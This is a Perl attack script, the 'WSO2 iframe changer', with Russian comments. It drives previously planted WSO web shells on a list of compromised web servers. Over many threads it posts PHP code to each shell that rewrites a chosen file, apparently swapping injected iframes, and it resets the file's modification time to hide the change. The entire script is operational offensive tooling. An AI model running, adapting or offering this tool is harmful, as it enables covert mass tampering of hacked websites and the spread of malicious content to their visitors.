#!/usr/bin/perl - UTF-8 encoding
################################################################################################################
#      WSO2 iframe changer by Pashkela [BugTrack Team] © 2010                                                  #
################################################################################################################
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
################################################################################################################
#   Настройки                                                                                                  #
################################################################################################################
$shells = 'shells.txt'; # файл с настройками
$kol_threads = 10; # Кол-во потоков
$timeout = 10; # таймаут в секундах
$log = 1; # Вести логи по каждому файлу, 1 = true, 0 = false
$old = '123'; # что меняем
$new = 'some_new'; # на что меняем
$charset = 'UTF-8'; # кодировка
################################################################################################################
open(FILE, "<", $shells);
while(<FILE>) {
    chomp;
    if($_) {push(@shells, $_)}
}
close(FILE);
$size = @shells;
################################################################################################################
if ($size < 10) {
   $thr = $size; 
} else {
   $thr = $kol_threads; 
}
$num = -1; # Не меняется
for(0..$thr) {
    $trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
    $trl[$_]->join;
}
sub gets {
    $| = 1; 
	while ($num < $size) {
        { lock($num);
        $num++; }
		($shell_host,$shell_path,$pass,$path_to_frame_file,$file) = split(/\|/,$shells[$num]);
        $code = '$time_file=filemtime("'. $path_to_frame_file . $file .'");$content=file_get_contents("' . $path_to_frame_file . $file . '");$content = str_replace("' . $old . '","' .  $new . '", $content);file_put_contents("' . $path_to_frame_file . $file . '",$content);touch("' . $path_to_frame_file . $file . '", $time_file);';
		frame(); 
    }
	print $num . "\r";
}
sub req {
	my($host, $path, $type, $data) = @_;
    my $sock = new IO::Socket::INET(
			PeerAddr  => $host,
			PeerPort  => 80,
			PeerProto => 'tcp',
			TimeOut   => $timeout);
    my $request = "$type $path HTTP/1.1\n".
    "Host: $host\n";
     $request .= "Content-type: application/x-www-form-urlencoded\n".
       "Content-Length: ".length($data)."\n\n".$data;
    print $sock $request;
    my $answ = undef;
    while(my $buf = <$sock>) {
        $answ .= $buf;
    }
    return $answ;
}
sub frame {
    $answ2 = req($shell_host, $shell_path, 'POST', "pass=$pass&a=Php&c=$path_to_frame_file&p1=$code&p2=&p3=&charset=$charset");  
       print "HOST: [" . $shell_host . "]\n";
	   print "File: [" . $path_to_frame_file . $file . "]...[+]\n";
       print "-----------------------------------------------------------------------------------\n";
	   if ($log == 1) {
	       open( FILE, ">>" . "z_"  . $shell_host . "_" . $file . ".html" ); # Файл для записи результатов
   	       print FILE "==========================================================================\n";
		   print FILE $answ2;
		   close (FILE);
       }
}